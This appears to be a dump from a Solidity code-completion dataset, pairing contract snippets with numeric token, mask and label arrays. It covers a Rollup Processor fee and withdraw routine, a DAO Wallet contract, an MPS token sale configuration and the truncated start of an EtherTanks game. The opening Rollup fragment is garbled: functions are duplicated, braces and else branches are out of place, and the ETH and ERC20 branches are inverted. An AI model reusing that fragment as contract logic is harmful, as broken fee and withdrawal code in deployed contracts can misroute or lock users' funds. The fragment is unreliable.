IERC20(assetAddress).approve(feeDistributor, txFee);
(success, ) = feeDistributor.call(abi.encodeWithSignature('deposit(uint256,uint256)', i, txFee));
}
require(success, 'Rollup Processor: DEPOSIT_TX_FEE_FAILED');
totalFees[i] = totalFees[i].add(txFee);
}
}
}
function transferFee(bytes memory proofData) internal {
for (uint256 i = 0; i < numberOfAssets; ++i) {
uint256 txFee = extractTotalTxFee(proofData, i);
if (txFee > 0) {
bool success;
if (i == ethAssetId) {
address assetAddress = getSupportedAsset(i);
IERC20(assetAddress).approve(feeDistributor, txFee);
(success, ) = feeDistributor.call(abi.encodeWithSignature('deposit(uint256,uint256)', i, txFee));
}
require(success, 'Rollup Processor: DEPOSIT_TX_FEE_FAILED');
totalFees[i] = totalFees[i].add(txFee);
}
}
}
(success, ) = payable(feeDistributor).call{value: txFee}('');
} else {
function withdraw(
uint256 withdrawValue,
address receiverAddress,
uint256 assetId
) internal {
require(receiverAddress != address(0), 'Rollup Processor: ZERO_ADDRESS');
if (assetId == 0) {
address assetAddress = getSupportedAsset(assetId);
IERC20(assetAddress).transfer(receiverAddress, withdrawValue);
}
totalWithdrawn[assetId] = totalWithdrawn[assetId].add(withdrawValue);
}
function withdraw(
uint256 withdrawValue,
address receiverAddress,
uint256 assetId
) internal {
require(receiverAddress != address(0), 'Rollup Processor: ZERO_ADDRESS');
if (assetId == 0) {
address assetAddress = getSupportedAsset(assetId);
IERC20(assetAddress).transfer(receiverAddress, withdrawValue);
}
totalWithdrawn[assetId] = totalWithdrawn[assetId].add(withdrawValue);
}
payable(receiverAddress).call{gas: 30000, value: withdrawValue}('');
} else {
}
| 2,541,753 | [
1,
24194,
416,
15476,
225,
19656,
6835,
14549,
364,
4929,
432,
94,
14537,
14164,
24194,
18294,
16,
6508,
18874,
310,
2182,
358,
279,
20130,
6835,
364,
3379,
471,
14928,
777,
9368,
4232,
39,
3462,
1147,
29375,
19,
1510,
434,
3260,
4232,
39,
3462,
1147,
1758,
18,
9408,
1492,
7565,
392,
3310,
1758,
358,
279,
1426,
16,
23789,
2856,
518,
6146,
21447,
487,
4888,
358,
4232,
39,
17,
5558,
2138,
9408,
628,
3310,
548,
358,
2874,
434,
729,
1887,
358,
1071,
729,
13937,
4041,
603,
333,
6835,
10845,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
31291,
416,
5164,
353,
467,
24194,
416,
5164,
16,
15138,
16,
14223,
6914,
16,
21800,
16665,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
1731,
1578,
1071,
501,
2375,
273,
374,
92,
5324,
6840,
69,
26,
5324,
72,
7414,
72,
5608,
72,
24,
8285,
74,
1105,
25,
557,
23,
70,
24,
73,
12416,
69,
507,
1578,
25,
3707,
21,
21441,
21,
623,
2196,
9349,
4700,
6675,
2499,
8749,
70,
5877,
73,
5520,
31,
203,
565,
1731,
1578,
1071,
446,
2375,
273,
374,
92,
5558,
11290,
1966,
73,
23,
71,
11212,
69,
2947,
72,
29,
3787,
25213,
3787,
72,
5520,
3247,
7235,
73,
27,
70,
28,
10241,
24,
6418,
1289,
11861,
73,
21,
73,
4033,
3247,
6334,
8898,
73,
26,
329,
5353,
29,
70,
21,
31,
203,
565,
1731,
1578,
1071,
1365,
2375,
273,
374,
92,
22,
72,
23728,
73,
11180,
7201,
24,
2539,
5877,
21,
69,
27,
5340,
69,
684,
29,
1966,
69,
29,
1340,
22,
69,
29,
3030,
74,
6564,
4848,
29,
5340,
69,
1340,
323,
9036,
74,
4449,
74,
8898,
2163,
73,
26,
7140,
21,
31,
203,
203,
565,
2254,
5034,
1071,
30216,
31,
203,
565,
2254,
5034,
1071,
1024,
24194,
416,
548,
31,
203,
203,
565,
467,
17758,
1071,
20130,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
7922,
10726,
273,
1059,
31,
203,
565,
2254,
5034,
1071,
5381,
2229,
2578,
9581,
10059,
273,
2593,
31,
203,
565,
2254,
5034,
1071,
5381,
5824,
416,
2578,
9581,
10059,
273,
1728,
397,
7922,
10726,
31,
203,
565,
2
] |
./full_match/80001/0x314382Dd83efDb2A7E4F96DC64b5C38d3d8e9DD3/sources/project_/contracts/ETH.sol | only node address is able to update price
| node = 0xB276f4c0bb97e79f962fb6fcA7be9373D60a5c5e; | 9,492,965 | [
1,
3700,
756,
1758,
353,
7752,
358,
1089,
6205,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
756,
273,
374,
20029,
5324,
26,
74,
24,
71,
20,
9897,
10580,
73,
7235,
74,
29,
8898,
19192,
26,
7142,
37,
27,
2196,
29,
6418,
23,
40,
4848,
69,
25,
71,
25,
73,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "./IWallet.sol";
import "./IAssemblyCore.sol";
/// @title A contract that can, on behalf of the DAO, call any contract function, thus being able to e.g. store any asset and transfer it.
/// @dev The DAO collectively controls the Wallet contract. The Wallet contract can call any contract function through blockchain transactions. These transactions need to be first submitted to the Wallet contract in the form of transaction proposals. The DAO then approves (or not) the execution of the proposal through a voting. Any member of the DAO can submit transaction proposals unless the member has been distrusted.
contract Wallet is UUPSUpgradeable, ReentrancyGuardUpgradeable, IWallet {
IAssemblyCore private _assembly;
bool private _initialized;
struct Proposal {
address destination; // Receiver of the transaction.
uint256 value; // Number of coins to transfer.
bytes data; // The transaction function call data.
bool executed; // Whether or not the transaction was executed.
}
uint256 private _proposalCount;
mapping(uint256 => Proposal) private _proposals;
//
// Events
//
event Submitted(uint256 indexed proposalId); // A new transaction proposal was submitted.
event Executed(uint256 indexed proposalId); // The proposed transaction was executed.
event ExecutedFail(uint256 indexed proposalId); // The transaction could not be executed.
event Deposited(address indexed sender, uint256 value); // Coins have been deposited into the Wallet.
event Called(bool indexed result, bytes indexed resultMem); // The Wallet has performed an external call of a function.
//
// Modifiers
//
modifier onlyAssembly() {
require(msg.sender == address(_assembly), "Only the Assembly can perform this operation");
_;
}
modifier onlyMe() {
require(msg.sender == address(this), "You are not allowed to do this");
_;
}
modifier isInitialized() {
require(address(_assembly) != address(0), "Contract has not yet been initialized");
_;
}
modifier isExistingProposal(uint256 proposalId) {
require(proposalId < _proposalCount, "Wrong proposal id");
_;
}
modifier notYetExecuted(uint256 proposalId) {
require(!_proposals[proposalId].executed, "Proposed transaction was already executed");
_;
}
//
// Test functions (to be overriden for testing purposes only).
//
function isTestMode() public view virtual returns (bool) {
return false;
}
function setTestMode(bool testMode) external virtual {}
//
// Functions
//
function getAssembly() external view returns (address) {
return address(_assembly);
}
function initialize(address assembly_) external {
require(!_initialized, "Contract has already been initialized");
require(assembly_ != address(0), "Assembly contract address cannot be zero");
_assembly = IAssemblyCore(assembly_);
_initialized = true;
}
function getProposal(uint256 id) external view isExistingProposal(id) returns (Proposal memory) {
return _proposals[id];
}
/// @return Returns the number of proposals ever submitted.
function getProposalCount() external view override returns (uint256) {
return _proposalCount;
}
/// @dev Submit a transaction proposal. Only addresses allowed by the DAO can perform this operation.
/// Because this function can be abused in several ways, only trusted addresses can call it.
/// @param destination The transaction destination.
/// @param value The transaction value.
/// @param data The transaction data.
/// @return The new transaction's id.
function submitProposal(
address destination,
uint256 value,
bytes memory data
) external isInitialized returns (uint256) {
if (!isTestMode()) require(_assembly.isTrusted(msg.sender), "You are not trusted to perform this operation");
uint256 proposalId = _proposalCount;
_proposals[proposalId] = Proposal({destination: destination, value: value, data: data, executed: false});
_proposalCount += 1;
emit Submitted(proposalId);
return proposalId;
}
/// @dev Execute a submitted transaction. Only the operator can do this operation.
/// @param proposalId The id of the proposal to execute.
/// @return Whether the transaction was succesfully executed.
function executeProposal(uint256 proposalId) external override isInitialized onlyAssembly isExistingProposal(proposalId) notYetExecuted(proposalId) nonReentrant returns (bool) {
Proposal storage txn = _proposals[proposalId];
if (externalCall(txn.destination, txn.value, txn.data)) {
emit Executed(proposalId);
txn.executed = true;
return true;
} else {
emit ExecutedFail(proposalId);
return false;
}
}
function externalCall(
address destination,
uint256 value,
bytes memory data
) internal returns (bool) {
bool result;
bytes memory resultMem;
(result, resultMem) = destination.call{value: value}(data);
emit Called(result, resultMem);
return result;
}
/// @dev Emit an event when coins are received, regarless of msg.data
fallback() external payable {
if (msg.value > 0) emit Deposited(msg.sender, msg.value);
}
//
// Upgrade
//
function _authorizeUpgrade(address newImplementation) internal override onlyMe {
require(newImplementation != address(0), "New implementation contract address cannot be zero");
}
}
| @dev Emit an event when coins are received, regarless of msg.data | fallback() external payable {
if (msg.value > 0) emit Deposited(msg.sender, msg.value);
}
| 13,034,524 | [
1,
17982,
392,
871,
1347,
276,
9896,
854,
5079,
16,
960,
297,
2656,
434,
1234,
18,
892,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
5922,
1435,
3903,
8843,
429,
288,
203,
3639,
309,
261,
3576,
18,
1132,
405,
374,
13,
3626,
4019,
538,
16261,
12,
3576,
18,
15330,
16,
1234,
18,
1132,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* MPSSaleConfig.sol
* Configuration for the MPS token sale private phase.
* More info about MPS : https://github.com/MtPelerin/MtPelerin-share-MPS
* The unflattened code is available through this github tag:
* https://github.com/MtPelerin/MtPelerin-protocol/tree/etherscan-verify-batch-1
* @notice Copyright © 2016 - 2018 Mt Pelerin Group SA - All Rights Reserved
* @notice All matters regarding the intellectual property of this code
* @notice or software are subject to Swiss Law without reference to its
* @notice conflicts of law rules.
* @notice License for each contract is available in the respective file
* @notice or in the LICENSE.md file.
* @notice https://github.com/MtPelerin/
* @notice Code by OpenZeppelin is copyrighted and licensed on their repository:
* @notice https://github.com/OpenZeppelin/openzeppelin-solidity
*/
pragma solidity ^0.4.24;
// File: contracts/interface/ISaleConfig.sol
/**
* @title ISaleConfig interface
*
* @author Cyril Lapinte - <[email protected]>
*
* @notice Copyright © 2016 - 2018 Mt Pelerin Group SA - All Rights Reserved
* @notice Please refer to the top of this file for the license.
*/
contract ISaleConfig {
struct Tokensale {
uint256 lotId;
uint256 tokenPriceCHFCent;
}
function tokenSupply() public pure returns (uint256);
function tokensaleLotSupplies() public view returns (uint256[]);
function tokenizedSharePercent() public pure returns (uint256);
function tokenPriceCHF() public pure returns (uint256);
function minimalCHFInvestment() public pure returns (uint256);
function maximalCHFInvestment() public pure returns (uint256);
function tokensalesCount() public view returns (uint256);
function lotId(uint256 _tokensaleId) public view returns (uint256);
function tokenPriceCHFCent(uint256 _tokensaleId)
public view returns (uint256);
}
// File: contracts/zeppelin/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/mps/MPSSaleConfig.sol
/**
* @title MPSSaleConfig
* @dev MPSSaleConfig contract
* The contract configure the sale for the MPS token
*
* @author Cyril Lapinte - <[email protected]>
*
* @notice Copyright © 2016 - 2018 Mt Pelerin Group SA - All Rights Reserved
* @notice Please refer to the top of this file for the license.
*/
contract MPSSaleConfig is ISaleConfig, Ownable {
// Token supply cap: 10M
uint256 constant public TOKEN_SUPPLY = 10 ** 7;
// 100% of Mt Pelerin's shares are tokenized
uint256 constant public TOKENSALE_LOT1_SHARE_PERCENT = 5;
uint256 constant public TOKENSALE_LOT2_SHARE_PERCENT = 95;
uint256 constant public TOKENIZED_SHARE_PERCENT
= TOKENSALE_LOT1_SHARE_PERCENT + TOKENSALE_LOT2_SHARE_PERCENT;
uint256 constant public TOKENSALE_LOT1_SUPPLY
= TOKEN_SUPPLY * TOKENSALE_LOT1_SHARE_PERCENT / 100;
uint256 constant public TOKENSALE_LOT2_SUPPLY
= TOKEN_SUPPLY * TOKENSALE_LOT2_SHARE_PERCENT / 100;
uint256[] private tokensaleLotSuppliesArray
= [ TOKENSALE_LOT1_SUPPLY, TOKENSALE_LOT2_SUPPLY ];
// Tokens amount per CHF Cents
uint256 constant public TOKEN_PRICE_CHF_CENT = 500;
// Minimal CHF Cents investment
uint256 constant public MINIMAL_CHF_CENT_INVESTMENT = 10 ** 4;
// Maximal CHF Cents investment
uint256 constant public MAXIMAL_CHF_CENT_INVESTMENT = 10 ** 10;
Tokensale[] public tokensales;
/**
* @dev constructor
*/
constructor() public {
tokensales.push(Tokensale(
0,
TOKEN_PRICE_CHF_CENT * 80 / 100
));
tokensales.push(Tokensale(
0,
TOKEN_PRICE_CHF_CENT
));
}
/**
* @dev getter need to be declared to comply with ISaleConfig interface
*/
function tokenSupply() public pure returns (uint256) {
return TOKEN_SUPPLY;
}
/**
* @dev getter need to be declared to comply with ISaleConfig interface
*/
function tokensaleLotSupplies() public view returns (uint256[]) {
return tokensaleLotSuppliesArray;
}
/**
* @dev getter need to be declared to comply with ISaleConfig interface
*/
function tokenizedSharePercent() public pure returns (uint256) {
return TOKENIZED_SHARE_PERCENT;
}
/**
* @dev getter need to be declared to comply with ISaleConfig interface
*/
function tokenPriceCHF() public pure returns (uint256) {
return TOKEN_PRICE_CHF_CENT;
}
/**
* @dev getter need to be declared to comply with ISaleConfig interface
*/
function minimalCHFInvestment() public pure returns (uint256) {
return MINIMAL_CHF_CENT_INVESTMENT;
}
/**
* @dev getter need to be declared to comply with ISaleConfig interface
*/
function maximalCHFInvestment() public pure returns (uint256) {
return MAXIMAL_CHF_CENT_INVESTMENT;
}
/**
* @dev tokensale count
*/
function tokensalesCount() public view returns (uint256) {
return tokensales.length;
}
/**
* @dev getter need to be declared to comply with ISaleConfig interface
*/
function lotId(uint256 _tokensaleId) public view returns (uint256) {
return tokensales[_tokensaleId].lotId;
}
/**
* @dev getter need to be declared to comply with ISaleConfig interface
*/
function tokenPriceCHFCent(uint256 _tokensaleId)
public view returns (uint256)
{
return tokensales[_tokensaleId].tokenPriceCHFCent;
}
} | * @dev tokensale count/ | function tokensalesCount() public view returns (uint256) {
return tokensales.length;
}
| 964,945 | [
1,
7860,
5349,
1056,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
2430,
5408,
1380,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
2430,
5408,
18,
2469,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.0;
contract EtherTanks {
struct TankHull {
uint32 armor; // Hull's armor value
uint32 speed; // Hull's speed value
uint8 league; // The battle league which allows to play with this hull type
}
struct TankWeapon {
uint32 minDamage; // Weapon minimal damage value
uint32 maxDamage; // Weapon maximum damage value
uint32 attackSpeed; // Weapon's attack speed value
uint8 league; // The battle league which allows to play with this weapon type
}
struct TankProduct {
string name; // Tank's name
uint32 hull; // Hull's ID
uint32 weapon; // Weapon's ID
// Unfortunately, it's imposible to define the variable inside the struct as constant.
// However, you can read this smart-contract and see that there are no changes at all related to the start prices.
uint256 startPrice;
uint256 currentPrice; // The current price. Changes every time someone buys this kind of tank
uint256 earning; // The amount of earning each owner of this tank gets when someone buys this type of tank
uint256 releaseTime; // The moment when it will be allowed to buy this type of tank
}
struct TankEntity {
uint32 productID;
uint8[4] upgrades;
address owner; // The address of the owner of this tank
address earner; // The address of the earner of this tank who get paid
bool selling; // Is this tank on the auction now?
uint256 auctionEntity; // If it's on the auction,
uint256 earned; // Total funds earned with this tank
uint32 exp; // Tank's experience
}
struct AuctionEntity {
uint32 tankId;
uint256 startPrice;
uint256 finishPrice;
uint256 startTime;
uint256 duration;
}
event EventCashOut (
address indexed player,
uint256 amount
); //;-)
event EventLogin (
address indexed player,
string hash
); //;-)
event EventUpgradeTank (
address indexed player,
uint32 tankID,
uint8 upgradeChoice
); // ;-)
event EventTransfer (
address indexed player,
address indexed receiver,
uint32 tankID
); // ;-)
event EventTransferAction (
address indexed player,
address indexed receiver,
uint32 tankID,
uint8 ActionType
); // ;-)
event EventAuction (
address indexed player,
uint32 tankID,
uint256 startPrice,
uint256 finishPrice,
uint256 duration,
uint256 currentTime
); // ;-)
event EventCancelAuction (
uint32 tankID
); // ;-)
event EventBid (
uint32 tankID
); // ;-)
event EventProduct (
uint32 productID,
string name,
uint32 hull,
uint32 weapon,
uint256 price,
uint256 earning,
uint256 releaseTime,
uint256 currentTime
); // ;-)
event EventBuyTank (
address indexed player,
uint32 productID,
uint32 tankID
); // ;-)
address public UpgradeMaster; // Earns fees for upgrading tanks (0.05 Eth)
address public AuctionMaster; // Earns fees for producing auctions (3%)
address public TankSellMaster; // Earns fees for selling tanks (start price)
// No modifiers were needed, because each access is checked no more than one time in the whole code,
// So calling "require(msg.sender == UpgradeMaster);" is enough.
function ChangeUpgradeMaster (address _newMaster) public {
require(msg.sender == UpgradeMaster);
UpgradeMaster = _newMaster;
}
function ChangeTankSellMaster (address _newMaster) public {
require(msg.sender == TankSellMaster);
TankSellMaster = _newMaster;
}
function ChangeAuctionMaster (address _newMaster) public {
require(msg.sender == AuctionMaster);
AuctionMaster = _newMaster;
}
function EtherTanks() public {
UpgradeMaster = msg.sender;
AuctionMaster = msg.sender;
TankSellMaster = msg.sender;
// Creating 11 hulls
newTankHull(100, 5, 1);
newTankHull(60, 6, 2);
